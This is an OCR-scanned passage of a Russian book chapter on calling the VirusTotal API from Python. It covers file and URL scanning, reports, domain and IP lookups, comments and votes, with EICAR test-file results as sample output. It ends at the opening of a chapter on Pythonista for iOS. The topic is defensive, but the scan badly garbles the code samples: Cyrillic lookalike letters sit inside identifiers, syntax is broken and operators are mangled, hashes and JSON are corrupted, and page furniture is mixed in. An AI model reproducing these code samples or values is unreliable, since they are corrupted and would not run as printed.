
более

import json
import requests
api_url = 'https://www.virustotal.com/vtapi/v2/file/scan'
params = dict(apikey='')
with ореn('', 'rb') as file:
files = dict(file=('', file))
response = requests.post(api_url, files=files, params=params)
if response.status_code == 200:
result=response.Json()
print(json.dumps(result, sort keys=False, indent=4) 1
Здесь вместо строки необходимо вставить свой ключ доступа к
вместо -

путь к файлу, который ты будешь отправлять в

Если у тебя нет библиотеки

requests,

API, а
VirusTotal.

то поставь ее командой pip install requests.

В ответ, если все прошло успешно и код состояния НТТР равен

200,

мы получим

примерно вот такую картину:

"response_code": 1,
"verbose_msg": "Scan request successfully queued, come back later for the report",
"scan id": "27 5a02 lbЬfb64 8 9e54d4 718 99f7dЬ9dl 663 f c695ec2fe2a2c4 538ааЬf 65 lfdOf1577043276"'
"resource": "275a02lbЬfb648 9e54d4 7l 899f7dЬ9dl 663fc695ec2fe2a2c4538aaЬf 65lfd0f",
"shal": "339585 6ce8 lf2Ь7 382dee 72 602f7 98Ь642 f1414 О",
"md5": "44d88612fea8a8f36de82el278abb02f",
"sha256": "275a02lbЬfb6489e54d4 71899f7dЬ9dl 663fc695ec2fe2a2c4538aaЬf651fdOf",
"permalink": "https://www.virustotal.com/flle/275a02lbЬfb6489e54d471899f7dЬ9dl663
fc695ec2fe2a2c4538aabf65lfd0f/analysis/1577043276/"

Здесь мы видим значения response _ code и verbose _ msg, а также хеши файла

SHA-1

и

MDS,

SHA-256,

ссылку на результаты сканирования файла на сайте permalink и иден­

тификатор файла sсап id.
В приведенных в главе примерах кода опущена обработка ошибок. Помни, что в ходе
файла или отправки запросов на сервер могут возникать исключения:

открытия

FileNotFoundError, если файла нет, requests. ConnectionError, requests. Timeout при
ошибках соединения и т. д.

Получение отчета о последнем сканировании файла
Используя какой-либо из хеш ей или значение scan_ id из ответа, можно получить
отчет

по

последнему

сканированию

файла

(если

файл

уже

загружался

на

129 - - ( J

(J--

Для этого нужно сформировать GЕТ-запрос и в запросе указать ключ
доступа и идентификатор файла. Например, если у нас есть scan_ id из предыдущего

VirusTotal).

примера, то запрос будет выглядеть так:

import json
import requests
api_url = 'https://www.virustotal.com/vtapi/v2/file/report'
params = dict(apikey=='',
resource='275a02lbbfЬ6489e54d471899f7dЬ9d1663fc695ec2fe2a2c4538aabf65lfd0f-1577043276')

response = requests.get(api_url, params=params)
if response.status_code == 200:
resul t.=response. j son ()
print(json.dumps(result, sort_keys=False, indent=4))
В случае успеха в ответ мы увидим следующее:

response_code 11 : 1,
verbose_msg 11 : 11 Scan finished, information emЬedded 11 ,
11 275a021bЬfb6489e54d4 71899f7dЬ9dl 663fc695ec2fe2a2c4538aaЬf 651fdOf 11 ,
11 resource 11 :
11 3395856ce81f2b7382dee72602f798b642f14140 11 1
11 shal 11 :
11 44d88612fea8a8f36de82e1278abb02f 11 ,
11 mdS 11 :
11 275a02lbЬfb6489e54d471899f7dЬ9d1663fc695ec2fe2a2c4538aaЬf651fdOf",
11 sha256 11 :
11 2019-11-27 08:06:03 11 1
11 scan_date 11 :
11 https://www.virustotal.com/file/275a021bЬfb6489e54d471899f7dЬ9d1663fc
11 permalink":
695ec2fe2a2c4538aabf65lfd0f/analysis/1577043276/ 11 1
"positives 11 : 59,
11 total 11 :
69,
11 scans 11 :
{
11 Bkav 11 :
{
11 detected":
true,
11 1.3.0.9899 11
11 version 11 :
1
11 result 11 :
"OOS.EiracA.Trojan 11 1
11 20191220 11
11 update 11 :

11

11

) 1

11

DrWeb 11 : {
11 detected 11 :
true,
11 version":
11 7.0.42.9300 11 1
11 result":
11 EICAR Test File
(NOT
11 20191222 11
11 update 11 :

) 1

11

MicroWorld-eScan 11 : {
11 detected 11 :
true,
11 14.0.297.0 11 ,
11 version":
11 result 11 :
11 EICAR-Test-File 11 1
11 update":
"20191222"

) 1

а

Virus!)",

lj--

130 - - l j

"Panda": {
"detected": true,
"version": "4. 6.4 . 2",
"result": "EICAR-AV-TEST-FILE",
"update": " 20191222"
},

"Qihoo- 360": {
"detec ted": true ,
"version": "l. 0.0 .1120",
"resul t": "qex . eicar. gen. gen",
"update": " 20191222"

Здесь, как и в первом примере, получаем значения хешей файла, sca n_ id, peпna link,
значения response_ code и verbose_ msg. Также видим результаты сканирования файла
антивирусами и общие результаты оценки t ot a l -

сколько всего антивирусных

движков было задействовано в проверке и positives -

сколько антивирусов дали

положительный вердикт.

Чтобы вывести результаты с канирования всеми антивирусами в удобоваримом
виде, можно, например, написать что-то вроде рис .

Рис.

10.3.

10.3:

Вывод на экран информации о результатах сканирования файла на
с использованием разны х антивирусных движков

VirusTotal

L]--

131

--L]

import requests
api_url = 'https://www.virustotal.com/vtapi/v2/file/report'
params = dict(apikey='',
resource='275a02lbbfb6489e54d471899f7dЬ9dl663fc695ec2fe2a2c4538aabf65lfd0f-1577043276')

= requests.get(api_url, params=params)
if respoпse.status_code == 200:

respoпse

result=respoпse.jsoп()

for key iп result['scaпs']:
print (key)
print (' Detected: ', result [ 'scans'] [key] [ 'detected'])
print (' Version: ' , resul t [ 'scans' ] [ key] [ 'version' ] )
print (' Update: ' result['scans'] [key] ['update'])
print (' Resul t: ', 'result [ 'scans'] [ key] [ 'result'])

Отправка

URL

Чтобы отправить

на сервер для сканирования

URL

для сканирования, нам необходимо сформировать и послать

РОSТ-запрос, содержащий ключ досrупа и сам

URL:

import jsoп
import requests
api_url = 'https://www.virustotal.com/vtapi/v2/url/scan'
params = dict(apikey='', url='https://xakep.ru/author/drobotun/')
response = requests.post(api_url, data=params)
if response.status_code == 200:
result=response.json()
print(json.dumps(result, sort keys=False, indent=4))
В ответ мы получим примерно то же, что и при отправке файла, за исключением
значений хеша. Содержимое поля scan_ id можно использовать для получения отче­
та о сканировании данного

URL.

Получение отчета о результатах сканирования URL-aдpeca
Сформируем GЕТ-запрос с ключом досrупа и укажем либо непосредственно сам

URL

в виде строки, либо значение scan_ id, полученное с помощью предыдущей

функции. Это будет выглядеть следующим образом:

import json
import requests
api_url = 'https://www.virustotal.com/vtapi/v2/url/report'
params = dict(apikey='', resource='https://xakep.ru/author/drobotun/',
scan=O)
requests.get(api_url, params=params)
response

L]--

132

--L]

if response.status_code == 200:
result=response.json()
print(json.dumps(result, sort keys=False, indent=4))
Помимо ключа доступа и строки с
метр

scan -

URL

здесь присутствует опциональный пара­

по умолчанию он равен нулю. Если же его значение равно единице, то,

когда информации о запрашиваемом
верялся), этот

URL

URL

в базе

VirusTotal

нет

(URL

ранее не про­

будет автоматически отправлен на сервер для проверки, после

чего в ответ мы получим ту же информацию, что и при отправке URL на сервер.
Если этот параметр равен нулю (или не задавался), мы получим отчет об этом URL
либо (если информация о нем в базе VirusTotal отсутствует) ответ такого вида:

"response_code": О,
"resource": "",
"verbose_msg": "Resource does not exist in the dataset"

Получение информации об IР-адресах и доменах
Чтобы проверить IР-адреса и домены, нужно сформировать и отправить GЕТ­

запрос с ключом, именем проверяемого домена либо

IP

в виде строки. Для провер­

ки домена это выглядит так:

api_url = 'https://www.virustotal.com/vtapi/v2/domain/report'
params = dict(apikey='', domain=)
response = requests.get(api_url, params=params)
Для проверки IР-адреса:

api_url = 'https://www.virustotal.com/vtapi/v2/ip-address/report'
params = dict(apikey='', ip=)
response = requests.get(api_url, params=params)
Ответы на такие запросы объемны и содержат много информации. Например, для

IP

178. 248 .х.х (это

IP

«Хакера») начало отчета, полученного с сервера

выглядит так:

"country": "RU",
"response_code": 1,
"as_owner": "HLL LLC",
"verbose_msg": "IP address in dataset",
"continent": "EU",
"detected_urls": [
"url": "https://xakep.ru/author/drobotun/",

VirusTotal,

("]-- 133 --("]
"positives": 1,
"total": 72,
"scan date": "2019-12-18 19:45:02"
),

"url": "https: / /xakep. ru/2019/12/18/linux-backup/",
"positives": 1,
"total": 72,
"scan date": "2019-12-18 16:35:25"
),

API VirusTotal.
В третьей версии

Версия

3

намного больше возможностей по сравнению со второй

API

-

даже с использованием бесплатного ключа. Более того, при экспериментах с треть­

ей версией я не заметил, чтобы ограничивалось число загружаемых объектов ( фай­
лов или адресов) на сервер в течение минуrы. Похоже, ограничения в бете пока
вообще не действуют.
Функции третьей версии

API

спроектированы с использованием принципов

REST

(https://habr.com/ru/company/hexlet/Ыog/274675/) и просты для понимания. Ключ
доступа здесь передается в заголовке запроса.

Ошибки
В третьей версии

список ошибок (и соответственно кодов состояния НТТР)

API

расширился. Были добавлены:

("] 401 -

ошибка типа

User Not Active Error,

она возникает, когда учетная запись

пользователя неактивна;

("] 401 -

ошибка типа

Wrong Credentials Error,

возникает, если в запросе использо­

ван неверный ключ доступа;

("] 404 Not Found Error -

возникает, когда запрашиваемый объект анализа не най­

ден;

("] 409 -

ошибка типа

("] 429 -

ошибка типа

Already Exists Error,

возникает, когда ресурс уже существует;

Quota Exceeded Error,

возникает при превышении одной из

квот на число запросов (минутной, ежедневной или ежемесячной). Как я уже
говорил, во время моих экспериментов никаких ограничений по количеству за­

просов в минуту не наблюдалось, хотя я использовал бесплатный ключ;

("] 429-

ошибка типа Тоо

Many Requests Error,

возникает при большом числе за­

просов за короткое время (может быть вызвана загруженностью сервера);

("] 503 -

ошибка типа

Transient Error,

временная ошибка сервера, при которой по­

вторная попытка запроса может сработать.

LJ-- 134 --LJ
В случае ошибки помимо кода состояния сервер возвращает дополнительную ин­

формацию в форме

JSON.

Правда, как выяснилось, не ДJIЯ всех кодов состояния

НТТР: к примеру, ДJIЯ ошибки

404 дополнительная

информация представляет собой

обычную строку.
Формат

JSON ДJIЯ

ошибки следующий:

{

"error": {
"code": "",
"message": ""

Функции работы с файлами
Третья версия

API

позволяет:

LJ

загрузить файлы ДJIЯ анализа на сервер;

LJ

получить

LJ

получить отчеты о результатах анализа файлов;

LJ

повторно проанализировать файл;

LJ

получить комментарии пользователей

LJ

отправить свой комментарий к определенному файлу;

LJ

посмотреть результаты голосования по определенному файлу;

LJ

проголосовать за файл;

LJ

получить расширенную информацию о файле.

URL ДJIЯ

загрузки на сервер файла размером больше

VirusTotal

32

Мбайт;

к нужному файлу;

Для загрузки файла на сервер нужно его отправить через РОSТ-запрос. Это можно
сделать так:

api_url = 'https://www.virustotal.com/api/vЗ/files'
headers = { 'x-apikey' : '' 1
with ореn('', 'rb') as file:
files = {'file': ('', file)I
response = requests.post(api_url, headers=headers, files=files)
В ответ мы получим следующее:

"data": {
"id": "ZTRiNjgxZmJmZmRkZTNlM2YyODlkМzk5MTZhZjYwNDI6MTUЗNzixOTQ1Mg==",
"type": "analysis"

0 - - 135



Здесь мы видим значение id, которое служит идентификатором файла. Этот иден­

получения информации об анализе файла

тификатор нужно использовать для

в GЕТ-запросах типа /analyses (об этом мы поговорим чуть позже).
Чтобы получить

32 Мбайт), нужно отпра­
https://www.virustotal.com/

для загрузки большого файла (более

URL

вить GЕТ-запрос, в котором в качестве

api/v3/files/upload_url.

URL

указывается

В заголовок вставляем ключ доступа:

api_url = 'https://www.virustotal.com/api/v3/files/upload_url'
headers = { 'x-api key' : '' }
response

requests.get(api url, headers=headers)

JSON с адресом, по которому следует загрузить
URL при этом можно использовать только один раз.

В ответ получим
Полученный

файл для анализа.

Чтобы получить информацию о файле, который сервис уже анализировал, нужно
сделать GЕТ-запрос с идентификатором файла в

256, SHA-1

или

URL

(им может быть хеш

SHA-

Так же как и в предыдущих случаях, указываем в заголовке

MDS).

ключ доступа:

api_url =

'https://www.virustotal.com/api/v3/files/'
'')

requests.get(api url, headers=headers)

В ответ мы получим отчет о проверке файла, где помимо результатов сканирования
всеми антивирусами

VirusTotal

будет много доr~олнительной информации, состав

которой зависит от типа проверенного файла. Например, для исполняемых файлов
можно увидеть информацию о таких атрибутах:

11

attributes

11 :

(

11

authent i hash

11

creation_ date

11

exiftool
11

11

11 :

11

11

:
11

8 f cc2f 670al 66еа 78ca23937Sed312 OSSc7 4ef dcl f 4 7е 7 9d699664 6lddlb2 fb6
127059635 7,

:

{

Unicode
CharacterSet
20480,
CodeSize
11

11

:

11 ,

11 :

TYV

11

CompanyName

11

EntryPoint

11

FileFlagsMask

11

FileOS

11

FileSuЫype 11 :

11

FileType

11

FileTypeExtension

11

FileVersion

11

FileVersioпNшnЬer 11 :

11

:

11

11

11

11 :

11

:

0xl09c

11

11

11

11 :

Win32

11 :

11 ,

ОхОООО

11

,

11 ,

О,
ЕХЕ 11 ,

Win32

:

11 ,

11 :

11 ехе 11

,

1.0,
11

1.0.0.0

11 ,

11 ,

L]--

136 - - L ]

"ImageFileCharacteristics": "No relocs,

ExecutaЬle,

No line

nшпЬеrs,

No

symЬols,
32-Ьit",

4.0,
"TimeStamp": "2010:04:07 00:25:57+01:00",
"UninitializedDataSize": О
"SuЬsystemVersion":

) 1

Или, например, информацию о секциях исполняемого файла:

"sections": [
"entropy": 3.94,
"md5": "68lb80flee0eЫ53ldfllc6ael15d711",
"name": ". text",

"raw_size": 20480,
"virtual address": 4096,
"virtual size": 16588
},

"entropy": О.О,
"md5": "d41d8cd98f00b204e9800998ecf8427e",
"name": ".data",

"raw_size": О,
"virtual address": 24576,
"virtual size": 2640
) 1

Если файл ранее не загружался на сервер и еще не анализировался, то в ответ мы

получим ошибку типа Not

Found Error с

"error": {
"code": "NotFoundError",
"message": "File \""

404:

not found"

Чтобы повторно проанализировать файл, нужно также отправить на сервер GЕТ­

запрос, в котором в

/analyse:

URL

помещаем идентификатор файла, а в конце добавляем

LI-- 137 --LI

api url;

'https://www.virustotal.com/api/vЗ/files//апаlуsе'

headers; ('x-apikey' : ''I
requests.get(api_url, headers;headers)
respoпse
Огвет будет включать в себя такой же дескриптор файла, как и в первом случае

-

при загрузке файла на сервер. И так же, как и в первом случае, идентификатор из
дескриптора можно использовать для получения информации об анализе файла
через GЕТ-запрос типа /aпalyses.
Просмотреть комментарии пользователей сервиса, а также результаты голосования

по файлу можно, отправив на сервер соответствующий GЕТ-запрос. Для получения
комментариев:

api url;

'https://www.virustotal.com/api/vЗ/files//соmmепts'

headers ; ( 'x-apikey' : '' 1
requests.get(api_url, headers;headers)
respoпse
Для получения результатов голосования:

api url;

'https://www.virustotal.com/api/vЗ/files//vоtеs'

headers ; ( 'x-apikey' : '' )
requests.get(api_url, headers;headers)
respoпse
В обоих случаях можно использовать дополнительный параметр limi t, определяю­
щий максимальное количество комментариев или голосов в ответе на запрос. Ис­
пользовать этот параметр можно, например, так:

limit; ('limit': str() 1
api url; 'https://www.virustotal.com/api/vЗ/files//vоtеs'

headers; ('x-apikey' : ''I
requests.get(api_url, headers;headers, params;limit)
respoпse
Чтобы разместить свой комментарий или проголосовать за файл, создаем РОSТ­
запрос, а комментарий или голос передаем как объект

#

JSON:

Для отправки резулLтатов голосования

votes; ('data': ('type': 'vote', 'attributes': ('verdict': I))
api_url; 'https://www.virustotal.com/api/vЗ/files//vоtеs'

L]--

138 - - L ]

headers = { 'x-api key' : '' }
respoпse = requests.post(api_url, headers=headers, json=votes)
#

Для отправки комментария

= { 'data': { 'type': 'vote', 'attributes': { 'text': }}}
headers = { 'x-apikey' : ''}
api_url = 'https://www.virustotal.com/api/v3/files//сопunепts'

requests.post(api_url, headers=headers,

respoпse

json=coпunents)

Чтобы получить дополнительную информацию о файле, можно запросить подроб­
ности о связанных с ним объектах. В данном случае объекты могут характеризо­
вать, например, поведение файла (объект behaviours) или

URL,

IР-адреса, доменные

имена (объекты coпtacted_ ur ls, contacted_ ips, contacted_ dornaiпs ).
Интереснее всего объект behaviours. К примеру, для исполняемых файлов он будет
включать в себя информацию о загружаемых модулях, создаваемых и запускаемых
процессах, операциях с файловой системой и реестром, сетевых операциях.
Чтобы получить эту информацию, отправляем GЕТ-запрос:

api_url =

'https://www.virustotal.com/api/v3/files//behaviours'

headers = {'x-apikey' : ''}
response = requests.get(api_url, headers=headers)
В ответе будет объект

JSON

с информацией о поведении файла:

"data": [
"attributes":
"analysis _ date": 1548112224,
"coпunand executions": [
"C:\\WINDOWS\\systern32\\ntvdrn.exe -f -il",
"/Ьin/bash /private/trnp/eicar.corn.sh"
],

"has_htrnl report": false,
"has_pcap": false,
"last rnodification date": 1577880343,
"rnodules loaded": [
"c:\\windows\\systern32\\user32.dll",
"c:\\windows\\systern32\\iпun32.dll",

"c:\\windows\\systern32\\ntdll.dll"
},

С]-

Функции для работь1 с

URL

URL

входят:

на сервер для анализа;

С] получение информации об
С] анализ

-С]

URL

В список возможных операций с
С] отправка

139

URL;

URL;
по нужному

LI

получение комментариев пользователей

LI

отправка своих комментариев по определенному

LI

получение результатов голосования по определенному

LI

оmравка своего голоса за какой-либо

LI

получение расширенной информации о

LI

получение информации о домене или IР-адресе нужного

VirusTotal

URL;

URL;
URL;

URL;
URL;
URL.

Большая часть указанных операций (за исключением последней) выполняется ана­

логично таким же операциям с файлами. При этом в качестве идентификатора

URL
URL, закодированная в Base64 без добавочных зна­
SНА-256 от URL. Реализовать это можно так:

может выс1)'Пать либо строка с
ков «равно», либо хеш

# Для Base64
import base64

id_url = base64.urlsafe_b64encode(url.encode('utf-8')) .decode('utf-8') .rstrip(':')
# Для SНА-256
import hashlib
id_url = hashlib.sha256(url.encode()).hexdigest()
Чтобы отправить

URL для

анализа, нужно использовать РОSТ-запрос:

data = {'url': ''}
api_url = 'https://www.virustotal.com/api/vЗ/urls'
headers = {'x-apikey' : '')
response = requests.post(api_url, headers=headers, data=data)
В ответ мы увидим дескриптор

URL

(по аналогии с дескриптором файла):

{

"data": {
"id": "u-la565d28f8412c3e4b65ec8267ff8e77eb00a2c76367e653be7741 69ca9d09a61577904977"'
"type": "analysis"

Идентификатор id из этого дескриптора используем для получения информации об
анализе файла через GЕТ-запрос типа /analyses (об этом запросе ближе к концу
главы).

L]--

140 - - L ]

Получить информацию о доменах или IР-адресах, связанных с каким-либо
можно, применив GЕТ-запрос типа

SНА-256 идентификатор

api url =

URL,

/network_location (здесь используем Base64 или

URL):

'https://www.virustotal.com/api/vЗ/urls//network_location'

URL (Base64

headers = { 'x-apikey' : '' )
response = requests.post(api_url, headers=headers)
Остальные операции с

URL

выполняются так же, как и аналогичные операции

работы с файлами.

Функции работы с доменами и IР-адресами
Этот список функций включает в себя:
L] получение информации о домене или IР-адресе;
L] получение комментариев пользователей

VirusTotal

по нужному домену или

IР-адресу;

L] отправку своих комментариев по определенному домену или IР-адресу;
L] получение результатов голосования по определенному домену или IР-адресу;
L] отправку голоса за домен или IР-адрес;
L] получение расширенной информации о домене или IР-адресе.
Все эти операции реализуются аналогично таким же операциям с файлами либо
с

URL.

Отличие в том, что здесь используются непосредственно имена доменов

или значения IР-адресов, а не их идентификаторы.
Например, получить информацию о домене www.xakep.ru можно таким образом:

api_url = 'https://www.virustotal.com/api/vЗ/domains/www.xakep.ru'
headers = { 'x-apikey' : '')
response = requests.get(api_url, headers=headers)
А, к примеру, посмотреть комментарии по IР-адресу 178.248.Х.Х- вот так:

api_url = 'https://www.virustotal.com/api/vЗ/ip_addresses/178.248.X.X/comments'
headers = {'x-apikey' : '')
response = requests.get(api_url, headers=headers)
GЕТ-запрос типа

/analyses

Такой запрос позволяет получить информацию о результатах анализа файлов или

URL

после их загрузки на сервер или после повторного анализа. При этом необхо­

димо использовать идентификатор, содержащийся в поле id дескриптора файла,
или

URL,

полученные в результате отправки запросов на загрузку файла, или

на сервер либо в результате повторного анализа файла или

URL.

Например, сформировать подобный запрос для файла можно вот так:

TEST FILE ID =

'ZTRiNjgxZmJmZmRkZTNlM2YyODlkМzk5MTZhZjYwNDI6MTU3NjYwMTE1Ng=='

URL

LI-- 141 --LI
api_url = 'https://www.virustotal.com/api/vЗ//analyses/' + TEST FILE ID
headers = { 'x-apikey' : ''}
response = requests.get(api_url, headers=headers)
И вариант для

TEST URL ID =
1576610003

URL:

'u-dce9e8fbe86Ы45e18f9dcd4abaбbba9959fdff55447a8f9914eb9c4fc193lf9-

1

api_url = 'https://www.virustotal.com/api/v3//analyses/' + TEST URL ID
headers = {'x-apikey' : ''}
response = requests.get(api_url, headers=headers)

Заключение
Мы прошлись по всем основным функциям

API

сервиса

VirusTotal.

Ты можешь по­

заимствовать приведенный код для своих проектов. Если используешь вторую вер­

сию, понадобится следить за тем, чтобы не отправлять запросы слишком часто, но
в третьей версии такого ограничения пока что нет. Рекомендую выбрать именно ее,
поскольку и возможности здесь тоже намного шире. К тому же рано или поздно
она станет основной.

LI Подробное описание второй версии API

( Ь ttps ://developers. virustotal.com/reference#getting-started).
LI

Справка по API vЗ
(bttps://developers.virustotal.com/v3.0/reference#getting-started).

LI

Исходники из статьи для второй версии API
(bttps://gitbub.com/drobotun/virustotalapi).

LI

Вариант примеров для третьей версии
(Ь ttps ://gitb u b.com/d ro botun/virustotalapi3).

-------0

Как использовать

11.

для автоматизации

Python
iOS

Виктор Паперно

Часто нам приходится совершать со своим

iPhone

монотонные и довольно скучные

манипуляции, которые заставляют нас с завистью смотреть на десктопы с их без­
граничными возможностями настройки, скриптинга и автоматизации действий. Да

что там десктопы

-

даже на пользователей

Android

с их вездесущим Tasker'oм,

с помощью которого можно запрограммировать смартфон на что угодно. В

iOS

су­

ществование подобных приложений невозможно, но у нас есть небольшая лазейка.

Введение
В этой главе я хочу рассказать о
(версии

2.7.5)

для

iOS,

Pythonista -

среде разработки на языке

Python

которая позволяет в том числе писать полноценные прило­

жения с графическим интерфейсом. Однако мы будем использовать ее для несколь­
ко иных целей

-

для создания простых подсобных скриптов, которые будут авто­

матизировать рутинные операции (рис.

Pythonista

11.1 ).

включает в себя множество предустановленных библиотек, в том числе

iOS.

те, что помоrуr нам получить доступ к функциональности

Например, можно

привести clipboard, позволяющий читать и писать в буфер обмена, contacts для
работы с адресной книгой,

keychain, location

и др.

Pythoпista включает в себя всю необходимую документацию, так что для ее изучения
не потребуется подключаться к Интернету. Встроенный редактор Pythoпista достаточ­
но развит, имеет подсветку синтаксиса, автодополнение и дополнительные клавиши

на клавиатуре. Более того, его тоже можно заскриптовать.

Кроме

встроенных,

Pythonista

нам

понадобятся

также

сторонние

существуют два аналога всем известного

gist.github.com/pudquick/4317095)

и

pip.

Руthоn-модули.

Это

Для

pipista 2.0 (https://

Pypi (https://gist.github.com/anonymous/5243199).

Чтобы установить пакет с помощью первого, необходимо сохранить скрипт в кор­
невой каталог и выполнить такую команду:

import pipista
pipista.pypi_install('Name_of_library')

(]-- 144 --(]
••••о Билайн



.,. cv

Рис.

.84"81

C'J

• Saved to: vk-1 .5.3.tar.gz
• setup . py found here : /private/var/ll!OЬite/Containers/Data/Apptication/
Sбf7842B. 3383-4074-9607 -98EF44EF4DAD/Documents/pypi-modutes/ . tmp/unpack/
vk·l.5.3
• Compiting pure python modutes
• Instalting modute: vk ...
Tru.e

• Downtoading: https : //pypi. python .org/packages/source/v/Vk/
vk -1.5.3.tar. gz
Down1oaded 4785 of 4785 bytes (100.80%)

) »> i11port pipista
>>> pipista.pypi_instatt( ' vk')

--·

i 1

Ощ>аоить картинку

Рис.

11.3.

"""""''.., -

Все скрипты в Lauпch Сепtег Рго

1

д...>Рождежя

(}

Очисn